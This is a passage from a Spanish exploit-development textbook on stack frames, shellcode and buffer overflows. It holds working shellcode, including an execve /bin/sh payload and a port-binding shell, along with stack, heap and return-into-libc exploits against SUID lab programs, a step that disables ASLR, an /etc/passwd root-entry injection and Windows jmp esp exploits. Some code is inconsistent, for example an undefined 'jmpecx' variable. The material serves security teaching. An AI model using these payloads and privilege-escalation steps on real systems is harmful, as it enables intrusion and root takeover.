bytes (palabras y dobles palabras) mediante Push y Pop. Volvamos a nuestro techo (nuestra pila de platos está siempre colgando) y continuemos con el bricolaje. Cojamos un tenedor y atémosle un hilo. Colguemos el hilo al lado de la pila de platos de tal modo que el tenedor quede a la altura del plato más bajo de la pila. Cuando añadamos otro plato, este tenedor deberá descender para seguir apuntando al plato más bajo. De igual modo, cuando retiremos un plato de la pila, el tenedor deberá subir al siguiente plato. Nuestro ariete es el registro ESP (Extended Stack Pointer) del procesador. ESP apunta siempre al extremo inferior de la pila. Cuando se efectúa Push/Pop, ESP se incrementa o decrementa automáticamente en dos o cuatro bytes. Podemos modificar directamente ESP pero nunca hacerlo a la ligera. Si se quiere asignar 64 bytes a la pila (para guardar temporalmente una firma numérica por ejemplo) no se va a hacer 16 push y considerar que ESP apunta a nuestro nuevo buffer. Directamente se puede decrementar 64 bytes a ESP (siempre se utilizarán múltiplos de 4 bytes en este tipo de operaciones, por razones que no explicaremos pero que son esenciales). Como ESP contiene una dirección que apunta al extremo inferior de la pila, basta con restar 64 a ESP para que apunte 64 bytes más abajo, y de este modo agrandamos la pila en 64 bytes. Tenemos entonces 64 bytes disponibles en el extremo inferior de ESP. No nos olvidemos nunca de liberar este espacio sumando 64 a ESP antes del final de la función o causaremos un bug fatídico. c. Prólogo y epílogo: nociones fundamentales Para llamar a una función, usamos Call. Call pondrá la dirección de la siguiente instrucción en la pila (por lo tanto decrementará ESP en cuatro bytes) y saltará a la dirección que se le ha pasado por parámetro (por valor inmediato o mediante un registro). La ejecución salta entonces a la nueva función. ESP apunta entonces en la pila a la dirección de retorno, es decir, a la dirección donde se retomará la ejecución después de volver de la función (justo después de Call). El retorno de la función se realiza mediante la instrucción Ret. Ret recoge el dato (la dirección) apuntada por ESP, lo desapila y la ejecución salta a esta dirección (el valor se asigna al registro EIP). Es importante que ESP apunte a una dirección de retorno en el momento del Ret o provocaremos un bug con total seguridad. Call y Ret, como Push y Pop, modifican automáticamente el registro ESP. Si se tienen que pasar parámetros a una función, el método más común es apilar los argumentos con Push (únicamente valores numéricos o direcciones) antes de hacer el Call. Después del Call, los parámetros estarán a partir de los cuatros bytes siguientes a la dirección de retorno apuntada por ESP. Recordemos. Justo después del Call, en el momento en que el flujo de ejecución entra en la subfunción (en el código fuente, Call recibe por parámetro una dirección, a menudo el nombre de la función), ESP apunta a la dirección de retorno de la función. La pila se extiende a continuación en función de las necesidades del programador y, una vez se llega al final de la función, ESP sólo apunta a la dirección de retorno de la función. Dicho de otro modo: "¿dónde está el plato en el que tengo que apuntar el tenedor antes del retorno de la función sabiendo que se han apilado x platos?". Hay que sumar a ESP el número correcto de bytes reservados para que la pila vuelva a su valor de origen, el que apunta a su dirección de retorno de la función. Es un completo fastidio si hay que ir anotando cada asignación de memoria en la pila. La mejor forma de actuar es guardar una copia de ESP cuando se entra en la función y de restaurar esta copia al final de la función. La copia del ESP se realiza mediante el registro EBP. El prólogo de una función consiste en guardar una copia de EBP en la pila (Push), y guardar una copia de ESP en EBP. El epílogo de una función restaura ESP por EBP y deja en EBP su valor original (Pop). Todo el espacio (stack frame) consumido en la pila entre el prólogo y el epílogo se libera inmediatamente. Veremos más adelante cómo realizar un prólogo y un epílogo adecuadamente. Fundamentos de shellcodes Un shellcode es una porción de código en lenguaje máquina. No es nada más ni nada menos que un programa muy pequeño ejecutado por el procesador, que es por tanto capaz de hacer todo lo que puede hacer cualquier programa. 1. Ejemplo 1: shellcode.py Xor eax,eax xor ebx,ebx xor ecx,ecx xor edx,edx jmp short string code: pop ecx; se ubica la dirección de memoria de la frase en la pila mov bl,1 mov dl,23 mov al,4 int 0x80; las cuatro líneas anteriores forman el write() dec bl mov al,1 int 0x80; las tres líneas anteriores forman el exit() string : call code db ’¡hola a todo el mundo!’ Para poder utilizar este código para un ataque de tipo buffer overflow, necesitamos transformarlo en código hexadecimal. Para ello utilizamos un programa realizado en Python, que se muestra a continuación (shellcode.py), que transforma directamente el código a hexadecimal. Para comprender este programa, consulte la traducción de Francisco Callejo Giménez del libro de Mark Pilgrim Dive Into Python (http://es.diveintopython.org). El programa en ensamblador tiene que estar en el mismo directorio que shellcode.py. shellcode.py: #!/usr/bin/env python import os file=raw_input("Introduzca el nombre de su programa en ensamblador\n") file1=file.split(’.’) command="nasm "+file+" -o "+file1[0]+".o" os.system(command) command2="ndisasm -u "+file1[0]+".o >> shelltemp" os.system(command2) fd=open("shelltemp",’r’) line="".join(fd.readline()) os.system("touch shellcode1") fl=open("shellcode1",’w’) while line: tp=line.split(" ") fl.write(tp[2]) line="".join(fd.readline()) fl.close() fl=open("shellcode1",’r’) code=fl.read(2) os.system("touch shellcode") fc=open("shellcode",’w’) fc.write(r’shellcode[]="’) while code: hex=r"\x"+code fc.write(hex) code=fl.read(2) fc.write(r’";’) fl.close() fc.close() os.system("rm shellcode1") fd.close() os.system("rm shelltemp") 2. Ejemplo 2: execve() El siguiente shellcode abrirá un shell bash: Programa C : /bin/sh Int main(){ char command= "//bin/sh "; char *arg[2]; arg[0]=command; arg[1]=0; execve(command,arg,0); } Para escribir en ensamblador el programa correspondiente a éste en C, volvamos al sitio web de las syscalls para encontrar cómo escribir la función execve(): sys_execve(struct pt_regs regs). Pasamos como argumento a esta función la cadena de caracteres seguida del carácter fin de cadena, en este caso //bin/sh. CDQ - Convert Double to Quad Sintaxis: CDQ CDQ extiende a 64 bits el contenido con signo de [EAX]. El resultado se devuelve a [EDX:EAX]. En primer lugar, ponemos EAX y EDX a cero. A continuación, creamos la cadena de caracteres en la pila haciendo un push EAX como el final de cadena y a continuación la cadena //bin/sh. Guardamos el puntero de la cadena de caracteres en EBX. Así, el primer parámetro está alineado. Ahora que tenemos el puntero, podremos crear una tabla en la que vamos a poner EAX (0, sirve para marcar el final de la tabla), seguido del puntero a la cadena de caracteres. Ahora podemos hacer que el puntero apunte a la tabla en ECX, que podremos usar como segundo parámetro de la llamada a sistema. Todos los argumentos están preparados. Podemos realizar la llamada al comando system execve (dos últimas líneas). BITS 32 xor eax,eax cdq push eax push long 0x68732f6e push long 0x69622f2f; las dos líneas anteriores son el //bin/sh mov ebx,esp push eax push ebx mov ecx,esp mov al,0x0b int 0x80 Ahora podemos transformar el programa a ensamblador. 3. Ejemplo 3: Port Binding Shell Este exploit utilizado a menudo, abre un puerto y ejecuta un shell cuando alguien se conecta al puerto. Programa en C del port binding shell #include<unistd.h> #include<sys/socket.h> #include<netinet/in.h> int soc,cli; struct sockaddr_in serv_addr; int main(){ serv_addr.sin_family=2; serv_addr.sin_addr.s_addr=0; serv_addr.sin_port=0xAAAA; soc=socket(2,1,0); bind(soc,(struct sockaddr *)&serv_addr,0x10); listen(soc,1); cli=accept(soc,0,0); dup2(cli,0); dup2(cli,1); dup2(cli,2); execve(’’/bin/sh’’,0,0); } Siempre usamos aquí execve(). La diferencia está en que realizamos la conexión a un puerto. Para ello, creamos un socket, lo dejamos a la escucha y cuando acepta una conexión se le abre un shell ejecutando /bin/sh. Esto nos da el programa en ensamblador que mostramos a continuación. Port binding shell en ensamblador BITS 32 xor eax,eax xor ebx,ebx cdq push eax push byte 0x1 push byte 0x2 mov ecx,esp inc bl mov al,102 int 0x80 mov esi,eax push edx push long 0xAAAA02AA mov ecx,esp push byte 0x10 push ecx push esi mov ecx,esp inc bl mov al,102 int 0x80 push edx push edx push esi mov ecx,esp inc bl mov al,102 int 0x80 mov ebx,eax xor ecx,ecx mov cl,3 loop: dec cl mov al,63 int 0x80 jnz loop Push edx push long 0x68732f2f push long 0x6e69622f mov ebx,esp push edx push ebx mov ecx,esp mov al,0x0b int 0x80 Buffer overflow 1. Definiciones  Exploit: sacar partido de una vulnerabilidad para que el sistema responda de una manera que no era la esperada. El exploit es también la herramienta, el conjunto de instrucciones o el código que se usa para explotar una vulnerabilidad.  0day: un exploit para una vulnerabilidad que no ha sido aún publicada, algunas veces hace referencia a la propia vulnerabilidad.  Fuzzer: una herramienta o una aplicación que va a enviar a un programa una cantidad total o parcial de valores inesperados para determinar si existe o no un bug en el sistema. Wikipedia nos da la siguiente definición para los buffer overflow: "En seguridad informática y programación, un desbordamiento de buffer o buffer overrun (del inglés buffer overflow) es un error de software que se produce cuando un programa no controla adecuadamente la cantidad de datos que se copian sobre un área de memoria reservada a tal efecto (buffer), de forma que si dicha cantidad es superior a la capacidad preasignada los bytes sobrantes se almacenan en zonas de memoria adyacentes, sobrescribiendo su contenido original. Esto constituye un fallo de programación. En las arquitecturas comunes de computadoras no existe separación entre las zonas de memoria dedicadas a datos y las dedicadas a programa, por lo que los bytes que desbordan el buffer podrían grabarse donde antes había instrucciones, lo que implicaría la posibilidad de alterar el flujo del programa, llevándole a realizar operaciones imprevistas por el programador original. Esto es lo que se conoce como una vulnerabilidad. Una vulnerabilidad puede ser aprovechada por un usuario malintencionado para influir en el funcionamiento del sistema. En algunos casos el resultado es la capacidad de conseguir cierto nivel de control saltándose las limitaciones de seguridad habituales. Si el programa con el error en cuestión tiene privilegios especiales constituye en un fallo grave de seguridad." Para comprender adecuadamente estas definiciones, es esencial tener buenas nociones de gestión de memoria y de la pila, así como de la ejecución de programas. 2. Conceptos básicos Cuando se ejecuta un programa, distintos elementos (por ejemplo variables) se almacenan en memoria. En primer lugar, el sistema operativo crea ubicaciones de memoria donde el programa podrá funcionar. Esta ubicación de memoria incluye las instrucciones del programa actual. En segundo lugar, la información del programa se carga en un espacio de memoria creado. Hay tres tipos de segmentos en un programa: .text, .bss y .data.  El .text es de sólo lectura mientras que el .bss y el .data son de lectura/escritura.  El .data y el .bss están reservados para las variables globales.  El .data contiene datos inicializados.  El .bss contiene datos no inicializados.  El .text contiene las instrucciones del programa. Por último, la pila (stack) y el heap (parte de la memoria principal utilizada para asignar y liberar dinámicamente objetos de datos) se inicializan. Stack: (LIFO) el último dato en entrar (push) en la pila será el primero en salir (pop). El sistema LIFO es ideal para memorizar datos transitorios o información que no es necesario guardar durante mucho tiempo. La pila almacena variables locales, llamadas a función y otros tipos de información usados para limpiar la pila después de que una función o procedimiento se haya invocado. Con cada nuevo dato almacenado en la pila, la dirección contenida en el puntero de pila (ESP) decrece. La primera cosa que hay que encontrar en una máquina UNIX cuando se realiza un ataque en local es un programa vulnerable, pero eso no basta. Hay que inyectar nuestro código arbitrario en un programa que se ejecute con los privilegios de root aunque haya sido llamado por un usuario. De este modo, el pirata conseguirá los permisos de root y estará en posesión de un shell que le permitirá ejecutar cualquier comando como root. ¿Cómo saber qué programas hay en el sistema con el suid root activado? 3. Stack overflow Este primer ejemplo que vamos a ver y a explicar es más un caso académico que un ejemplo práctico. Este tipo de ataque ya no es posible en los nuevos núcleos, ya que ahora la memoria está "aleatorizada", es decir, que las direcciones de memoria son aleatorias y por lo tanto dejan de ser previsibles. Para poder desarrollar nuestro ejemplo, vamos a tener que desactivar el patch Linux del siguiente modo: bash-3.00# cat /proc/sys/kernel/randomize_va_space 2 bash-3.00# echo 0 > /proc/sys/kernel/randomize_va_space bash-3.00# bash-3.00# cat /proc/sys/kernel/randomize_va_space 0 bash-3.00# Vamos a escribir el siguiente programa de prueba: #include <stdio.h> #include <string.h> #include <stdlib.h> int vuln(char *arg) { char buffer[512]; strcpy(buffer,arg); return 1; } int main(int argc, char **argv) { if(argc<2)exit(0); vuln(argv[1]); exit(1); } En el programa anterior, el buffer se ha declarado con un tamaño de 512 bytes. Las copias de los registros en la pila se codifican con 4 bytes (registros de 32 bits). El argumento de la función vuln es la dirección del buffer, se codifica con 4 bytes. Si llegamos a escribir 4 bytes de más en el tamaño del buffer, entonces los 4 bytes de EBP se borrarán. Si llegamos a escribir 4 bytes de más, entonces EIP se borrará. Si EIP se sustituye por un valor que habremos definido, en la llamada a ret, es el valor modificado al que se le hará "pop" en la pila y será la dirección donde saltará el programa. Puede que tengamos una diferencia de 4 bytes en función de la versión del compilador. Para empezar, compilemos el programa, démosle el permiso de ejecución y activemos el SUID: Vamos a poder atacarnos con buffer overflow. El primer elemento a comprobar es la fiabilidad de nuestro programa. Por lo tanto vamos a intentar inyectar un gran número de argumentos al ejecutar nuestro programa. Si éste falla, tendremos como salida un segmentation fault. Utilizaremos el lenguaje python para este fin, aunque podríamos haber usado perl o cualquier otro lenguaje. Para escribir, por ejemplo, un gran número de "A" con python, haremos lo siguiente: python -c ’print "A" * 1000’ Esto nos mostrará la letra A 1000 veces. Ejecutemos ahora nuestro programa con estas 1000 A: Nuestro programa nos devuelve un error del bus (a veces aparece éste cuando hay un error de segmentación). Por lo tanto es susceptible de presentar un fallo de tipo stack overflow. Profundicemos nuestro estudio. Ahora hemos de determinar exactamente para qué número de caracteres se bloquea el programa para encontrar el momento en el que borramos la dirección de retorno. Recordemos que se supone que no sabemos el tamaño del buffer. Vamos a comprobar manualmente hasta encontrar el tamaño del buffer. Veremos posteriormente cómo automatizar esta búsqueda gracias a un tipo de herramienta llamada fuzzer. Para ello, para visualizar el contenido de la dirección de retorno, vamos a ejecutar el programa con un depurador, gdb en Linux. gdb es un depurador muy completo. Vamos a ver sólo los comandos útiles para nuestro ejemplo, pero hay muchos más comandos disponibles. r significa run. Ejecutamos por tanto el programa con las 1000 A como argumento. Podemos ver en la salida del programa el mensaje Segmentation fault con una dirección desconocida que es 0x41414141. ¿Qué representa esta dirección? 41 en hexadecimal representa la letra ASCII A. Por lo tanto la dirección de retorno se ha reemplazado por cuatro A. La dirección de retorno ha sido borrada. Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () Vamos a probar por ensayo y error viendo esta dirección de retorno, para ver en qué momento exacto borramos esta dirección de retorno. Haciendo pruebas llegamos a la conclusión que exactamente para 520 A borramos la dirección de retorno (EIP). Vamos a reconstruir nuestro comando para hacer que se parezca a la estructura de la pila: python -c ’print "A" * 512 + "ZZZZ" + "DCBA"’ ZZZZ representa el contenido de ebp y DCBA el contenido de EIP en la pila. Probemos este comando con gdb: Encontramos, en la salida del programa, el error Segmentation fault con una dirección de retorno en 0x41424344 que representa en ASCII ABCD. Podemos observar que hemos enviado DCBA y la dirección de retorno es ABCD, esto se debido a la estructura "Little Endian" de Intel. Program received signal SIGSEGV, Segmentation fault. 0x41424344 in ?? () Hemos determinado completamente la estructura de la pila. Ahora hay que poder inyectar un shellcode en nuestro buffer (tenemos bastante espacio con los 512 bytes) y hacer que la dirección de retorno (que por ahora es ABCD) apunte a nuestro shellcode en el buffer. Incluir nuestro shellcode es de lo más fácil. Simplemente, tenemos que reemplazar las A por el shellcode. El resto de A se reemplazarán por una instrucción NOP (no operation \x90), lo que nos permitirá tener un rango de direcciones de retorno más grande para simplificarnos el trabajo. Recuperamos el programa visto en la sección Ejemplo 3: Port Binding Shell (execve.asm) y lo transformamos en shellcode: Vemos que el shellcode generado es el siguiente: shellcode[]="\x31\xC0\x99\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\ x69\x6E\x89\xE3\x50\x53\x89\xE1\xB0\x0B\xCD\x80"; Necesitamos 24 bytes. Como tenemos un total de 512 en el buffer, podemos reemplazar 512-24, es decir 488 bytes por NOP: python -c ’print "\x90" * 488 + "\x31\xC0\x99\x50\x68\x2F\x2F\ x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x50\x53\x89\xE1\xB0\x0B\xCD\ x80" + "ZZZZ" + "DCBA"’ Comprobemos ahora si no nos hemos equivocado con nuestro comando, deberíamos obtener: Program received signal SIGSEGV, Segmentation fault. 0x41424344 in ?? () El último paso consiste en encontrar una dirección de retorno que apunte a nuestro shellcode, o más bien a una NOP. Para ello, todavía usaremos gdb: Vemos aparecer en la memoria una serie de 90 que corresponde a nuestras NOP. El shellcode se encuentra después de nuestras NOP. Por lo tanto podemos asignar cualquier dirección delante de las NOP. Pondremos especial atención en no poner una dirección que tenga dos ceros consecutivos, ya que significan "final de cadena". Tenemos, para finalizar, nuestro comando: python -c ’print "\x90" * 488 + "\x31\xC0\x99\x50\x68\x2F\x2F\ x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x50\x53\x89\xE1\xB0\x0B\xCD\x 80" + "ZZZZ" + "\x10\xf4\xff\xbf"’ No hay que olvidar la estructura Little Endian para escribir la dirección de retorno (0xbffff410 pasa a ser \x10\xf4\xff\xbf). Si ejecutamos este comando obtenemos un shell sh mientras originalmente estábamos en bash. Hemos logrado desviar la aplicación para ejecutar lo que nosotros deseábamos. Acabamos de lograr nuestro primer buffer overflow. El principio es muy interesante y permite comprender la estructura de la pila y el paso de argumentos en un programa, una función. Todos los kernels de Linux están ahora parcheados y tienen este error corregido. Aún así, hay otras técnicas que han visto la luz. 4. Heap Overflow Las funciones vulnerables en el Heap Overflow son de la familia malloc(), calloc(), realloc(). El heap se compone de bloques de memoria, algunos están asignados al programa y otros están vacíos. A menudo los bloques asignados son adyacentes en memoria. Vamos a utilizar el programa siguiente para ilustrar el Heap Overflow: #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { FILE *fd; char *entradausuario=malloc(20); char *salidaarchivo=malloc(20); printf("====================================================\n"); printf(" heap overflow - Acissi - Ediciones ENI\n"); printf("====================================================\n\n") ; if(argc < 2) { printf("Uso: %s <la cadena que se escribirá en /tmp/eni>\n",argv[0]); exit(0); } strcpy(salidaarchivo,"/tmp/eni"); strcpy(entradausuario,argv[1]); printf("Escritura de \"%s\" al final de %s...\n",entradausuario,salidaarchivo); fd=fopen(salidaarchivo,"a"); if(fd==NULL) { fprintf(stderr,"Imposible abrir %s\n",salidaarchivo); exit(1); } fprintf(fd,"%s\n",entradausuario); fclose(fd); return 0; } Después de haber compilado el programa y haberle dado los permisos de ejecución con el bit SUID activo, obtenemos para un usuario normal la escritura de la cadena de caracteres pasada por parámetros en línea de comandos en /tmp/eni. ¿Qué podemos intentar para explotar una vulnerabilidad de tipo Heap Overflow? Comencemos por enviar como argumento, por ejemplo, un número de cifras crecientes. Vemos que para el cuarto intento, tenemos un cambio en el archivo de escritura: Escritura de "0123456789012345678901234567890123456789" al final de 23456789... Podemos deducir que si reemplazamos las 8 últimas cifras (23456789) por la ruta de un archivo, podremos escribir en su interior. Son necesarios 32 caracteres antes de la ruta del archivo. Vamos a intentar escribir en /etc/passwd, lo que teóricamente es imposible para un usuario normal. Miremos el contenido del archivo, cada línea es de la forma: nauar:x:1004:1004:nauar,,,:/home/nauar:/bin/bash Si queremos añadir una entrada a este archivo, vamos a tener que añadir una línea como la siguiente: rnauar::0:0:nauar:/root:/tmp/etc/passwd Tendremos que rellenar 32 caracteres con rnauar::0:0:nauar:/root:/tmp Como tenemos 28 caracteres, nos basta con poner 4 más, lo que da: rnauar::0:0:nauar,a,,:/root:/tmp Añadimos esta entrada al archivo: El mayor inconveniente es que en vez de tener /bin/sh, tenemos /tmp/etc/passwd en el archivo passwd. Nos basta con crear un enlace simbólico de /tmp/etc/passwd a /bin/sh: bash-3.2# mkdir /tmp/etc/ bash-3.2# ln -s /bin/sh /tmp/etc/passwd Hemos logrado escribir lo que queríamos donde queríamos. 5. return into libc Las versiones recientes de los parches del kernel ofrecen todas las protecciones que impiden explotar return-into-libc fácilmente. Pero aún es efectivo en otros sistemas operativos (Solaris) y en versiones antiguas de parches del kernel Linux. Existen otros métodos, derivados de éste, que permiten explotar los Stack Overflow incluso con versiones recientes de parches. Vamos a descubrir otro método más flexible para tomar el control de un programa sin tener que recurrir a un shellcode. En efecto, se puede volver directamente a una función de la librería libc u otra librería de funciones que esté en el espacio de memoria del proceso atacado y ejecutarla. Este método permite esquivar los parches que hacen que la pila sea no ejecutable o desbordamientos que usan pequeños buffers (sin espacio suficiente para el shellcode). Utilizamos el siguiente programa: #include <string.h> int main( int argc, char **argv) { char buffer[64]; strcpy(buffer,argv[1]); return(0); } Este programa conlleva un fallo clásico que implica la función strcpy(). No se realiza ninguna verificación sobre el tamaño de argv[1]. La llamada a strcpy() tendrá como efecto la copia de la cadena en la pila hasta que se encuentre con un carácter nulo. A continuación, vamos a compilar este programa y vamos a darle los permisos necesarios para poderlo ejecutar con los privilegios de root por un usuario normal. Ejecutemos ahora el debugger para estudiar este programa. Vamos a colocar un punto de interrupción en strcpy y, a continuación, ejecutamos el programa dándole un número de argumentos bastante grande. Nuestro buffer es de 64 bytes, a continuación de este buffer, encontramos EBP (4 bytes) y después EIP. Por lo tanto, si introducimos como argumento una cadena de más de 68 bytes (para nosotros 76) en argv[1], la llamada a la función strcpy provoca un desbordamiento de buffer reescribiendo especialmente las copias de los registros EBP/EIP (recordatorio: EBP = puntero de frame y EIP = puntero de instrucciones). Exploit Nos falta modificar la copia del registro EIP para lograr el retorno a la función actual (main para nosotros) en la función libc. Para ello vamos a recuperar la dirección de la función system(). A continuación, habría que colocar el argumento 1 de system(), que para nosotros es /bin/sh, en el entorno: export nauar=/bin/sh A continuación, vamos a utilizar un programa escrito en C, bastante simple, para encontrar la dirección de memoria de la nueva variable de entorno. #include <stdio.h> int main(int argc, char *argv[]) { if (argc < 2) { printf("¡¡¡UTILICE UN ARGUMENTO!!!"); exit(0); } char *addr; addr = getenv(argv[1]); if (addr != NULL) printf("%s está ubicada en b %p\n", argv[1], addr); return 0; } Sólo nos falta inyectarlo todo. ./vuln_rilc `python -c ’print ’’A’’ * 68 + ’’\xb0\x28\xea\xb7’’ + ’’ABCD’’ + ’’\x0c\x46\xec\xff’’ ’ ` Nos encontramos con un shell sh. Acabamos de ver diferentes principios de buffer overflow. Existen muchos otros, los formateos de string (¿pueden llamarse buffer overflow?), los return into libc encadenados... Para terminar en este capítulo con los fundamentos de los buffer overflow, vamos a estudiar un caso real, conocido, en Windows, lo que nos permitirá iniciarnos con los fuzzers. Fallos en Windows 1. Introducción Los conceptos vistos en capítulos anteriores para Linux son también válidos en Windows, adecuándolos al sistema operativo. El funcionamiento de la pila y del heap es claramente similar. Como en Linux, necesitaremos un depurador. Aquí usaremos Immunity Debugger (http://www.immunityinc.com/products-immdbg.shtml) para intentar explotar los fallos. Este debugger es gratuito e incluye:  Una interfaz simple y comprensible.  Un lenguaje de script robusto y potente que permite automatizar el debugging.  La posibilidad de conexión con otras herramientas de desarrollo de exploits. Encontrará por la red muchos tutoriales para aprender a utilizarlo, así como diversas explicaciones de Crack-me (pequeños programas creados para aprender Reverse Engineering) utilizando Immunity Debugger. Utilizaremos Dev-C++ para escribir y compilar nuestros programas: http://www.bloodshed.net/dev/devcpp.html 2. Primer paso Utilizaremos para empezar el siguiente programa que no permitirá comprender los fundamentos. Seguiremos con programas reales/comerciales para probarlo. #include "string.h" void function(char* buf) { char ownz[10]; strcpy(ownz, buf); } int main(int argc,char* argv[ ]) { function(argv[1]); return 0; } a. En modo consola En primer lugar, vamos a ejecutar nuestro programa por línea de comandos (Inicio - Ejecutar - cmd) añadiéndole argumentos, varias "A" por ejemplo. hack1.exe AAAADCBA hack1.exe AAAAAAAADCBA etc Iremos aumentando el número de A hasta que obtengamos una reacción no habitual de la máquina tal y como se muestra en la siguiente captura de pantalla: El objetivo, como habrá adivinado, es sobreescribir EIP con el valor DCBA. Es lo que vemos en la ventana de error que aparece en la captura de pantalla en el campo Offset (41424344 que se corresponde con ABCD en ASCII). Por lo tanto llegamos a un número de bytes determinado, en este caso 24 bytes, para sobreescribir el buffer y 4 bytes más para sobreescribir EBP, alcanzando EIP y sobreescribiéndolo con DCBA. b. Depuración Ahora ejecutamos el depurador. Con el depurador en ejecución, podemos abrir nuestro programa (File - Open). La pantalla se divide en cuatro zonas. Nuestro programa desensamblado aparece en la parte de arriba a la izquierda, el estado de los registros en la parte de arriba a la derecha. Podemos recorrer la memoria en la parte de abajo a la izquierda y ver la pila en la pantalla de la abajo a la derecha. Para ejecutar nuestro programa con argumentos, hay que ir a Debug - Arguments. Se abre una ventana en la que podemos escribir los argumentos. Mediante la pequeña flecha roja de la barra de herramientas de Immunity Debugger, podemos ejecutar el programa. Éste se detendrá bastante, pero esta vez podremos observar el estado de los registros, de la pila y de la memoria. Podemos observar también aquí que EBP vale 41414141 y EIP 41424344, es decir, "AAAA" y "ABCD" respectivamente. Tenemos poco sitio para insertar nuestro shellcode en el buffer como lo habíamos hecho en Linux. Tendremos que encontrar otra solución para explotar este fallo. Tal vez podamos ponerlo después del EIP, es decir, después de ABCD en nuestros argumentos. Añadamos por lo tanto algunas "Z" a continuación. Observemos en la siguiente imagen que el registro ESP apunta a las Z, La solución sería ubicar nuestro shellcode en vez de las Z y que EIP apunte a ESP. Para que esto funcione no hay que hacer que EIP apunte a la dirección de ESP, es imposible, pero se puede probar con un "jmp ESP". Nos falta encontrar en algún sitio, en un programa o una librería, una instrucción jmp esp. Miraremos naturalmente en una DLL. Tenemos dos soluciones posibles, buscar en una DLL de sistema o una DLL de aplicación. Si encontramos el jmp esp en una DLL de aplicación nuestro exploit será más "portable" que si lo encontramos en una DLL de sistema ya que éstas pueden ser distintas para cada sistema (Windows XP SP1, SP2, Windows Vista...). Cuando hayamos encontrado la dirección de un jmp esp en una DLL, reemplazaremos DCBA por esta dirección. Immunity Debugger nos ayudará una vez más a encontrar esta dirección. Quedémonos en Immunity Debugger y hagamos clic en la e de la barra de tareas. Descubrimos las DLL cargadas con la aplicación. Podemos hacer doble clic en cada una de las DLL para intentar encontrar nuestro jmp esp. Con la DLL kernell32.dll, obtenemos su código desensamblado. Sitúese en el cuadro de arriba a la izquierda y haga clic con el botón derecho del ratón. Haga clic en Search for - Command. Rellene el campo con JMP ESP e inicie la búsqueda de este comando en el código haciendo clic en el botón Find. Por lo tanto, existe en kernel32.dll una instrucción jmp esp que se encuentra en la dirección hexadecimal 7C86467B. Esta dirección será seguramente distinta según la versión de Windows, el idioma y el Service Pack instalado. Ahora podemos crear nuestro exploit en Python que ejecutará el programa con los argumentos que hemos explicado. import os ret="\x7B\x46\x86\x7C" junk=’\x90’*20 shellcode="\xeB\x02\xBA\xC7\x93\xBF\x77\xFF\xD2\xCC\xE8\xF3\xFF\ xFF\xFF\x63\x61\x6C\x63" var="A"*28+ret+junk+shellcode arg0=’hack1.exe’ args=[arg0]+[var] os.execv(arg0, args) Este shellcode simplemente ejecuta la calculadora de Windows. De igual modo, podemos usar cualquier otro shellcode disponible en Internet. Hay que buscar un shellcode adaptado a su versión de Windows (por ejemplo, la ubicación de calc.exe es distinta en Windows 7). Si hemos seguido todos los pasos e indicaciones, al ejecutar el exploit debería iniciarse la calculadora de Windows. c. El problema de un shellcode grande Imaginemos ahora que nuestro shellcode es demasiado grande para ubicarlo en la pila. ¿Existe algún otro medio para explotar el fallo? Sabemos que los argumentos se almacenan en la pila. Intentemos ver si podemos utilizar otro argumento. Coloquemos para ello un punto de interrupción en este argumento (\xcc). Ejecutaremos la aplicación de la siguiente forma: hack1.exe [AAAAAAA][\x7B\x46\x86\x7C][jmp argv[2]] [\xcc] Vamos a intentar encontrar la cadena pasada como segundo argumento (el \xcc es el segundo argumento, está separado del primero por un espacio). Vamos a poner un breakpoint al inicio del programa para poder supervisar la ejecución paso a paso y descubrir la dirección de memoria donde se ubicará el segundo argumento. Para colocar un breakpoint en Immunity Debugger, basta con irse a la dirección en donde queremos insertarlo y pulsar la tecla [F2]. El siguiente paso consiste en saltar de la pila a este segundo argumento. Encontramos por lo tanto que 41414141 está en EBP y 41424344 en EIP (la dirección de retorno ha sido sobreescrita correctamente). Observamos que la primera Y se encuentra en 003E34E1. Vemos ahora que ECX apunta a las Y. Tenemos que encontrar un jmp ecx en una DLL cargada para poner esta dirección en EIP. Con toda esta información recopilada, ahora podemos escribir nuestro exploit. Retomaremos nuestro shellcode anterior, es decir, la ejecución de calc.exe. import os ret="\x34\x38\x92\x7C" jmpesp="\xE9\x7C\x25\x1B" shellcode="\xeB\x02\xBA\xC7\x93\xBF\x77\xFF\xD2\xCC\xE8\xF3\xFF\ xFF\xFF\x63\x61\x6C\x63" var="A"*28+ret+jmpecx+" "+10*"\x90"+shellcode arg0=’hack1.exe’ args=[arg0]+[var] os.execv(arg0, args) Hemos añadido 10 NOP delante de nuestro shellcode para estar seguros de caer por delante de éste. Nuestra variable tiene que tener un aspecto similar o igual al siguiente: [A*28][@ de retorno][@ de « jmp ecx »] [10*NOP][shellcode] @ quiere decir dirección. No se olvide, por supuesto, del espacio entre el primer y el segundo argumento. El resultado esperado es el mismo que antes, es decir, que aparezca la calculadora. d. Ejecución de una función no prevista También podemos provocar la ejecución en nuestra aplicación de una función que no se llame por defecto. Consideremos a modo de ejemplo el siguiente programa e intentemos explotarlo: #include "stdio.h" #include "string.h" #include "stdlib.h" int copy(char* input) { char var[20]; strcpy(var,input); } int funcion_oculta(void) { printf("Estamos dentro de la función oculta"); exit(0); } int main(int argc,char* argv[]) { if(argc<2) { printf("Uso: %s <string>\r\n",argv[0]); exit(1); } printf("dirección de la función: 0x%08x\n", funcion_oculta); copy(argv[1]); return 0; } Vamos a intentar enviar argumentos a este programa. Para intentar localizar mejor el momento en que se sobreescribe EIP, vamos a enviar como argumentos grupos de 4 letras: AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMM Como podemos ver, el programa se cuelga con un offset igual a 4c4c4c4c que corresponde a LLLL. EIP está por lo tanto sobreescrito por LLLL y EBP por KKKK. Ahora podemos crear nuestro exploit sobreescribiendo EIP con la dirección de nuestra función, es decir 0x004012CA. import os var="A"*44+"\xCA\x12\x40" arg0=’basichack.exe’ args=[arg0]+[var] os.execv(arg0, args) e. Otros métodos El jmp esp es el escenario perfecto pero hay otros métodos para forzar la ejecución de shellcode:  Jump (call)  Pop return  Push return  Jmp [reg + offset]  Blind return  SEH Vamos a verlos a continuación dentro de este capítulo. 3. El método de call [reg] Si un registro se carga directamente con la dirección del shellcode en memoria, podemos hacer un call [reg]. Esto funciona con todos los registros y es muy popular ya que kernel32.dll contiene muchas direcciones call [reg]. A continuación, vamos a 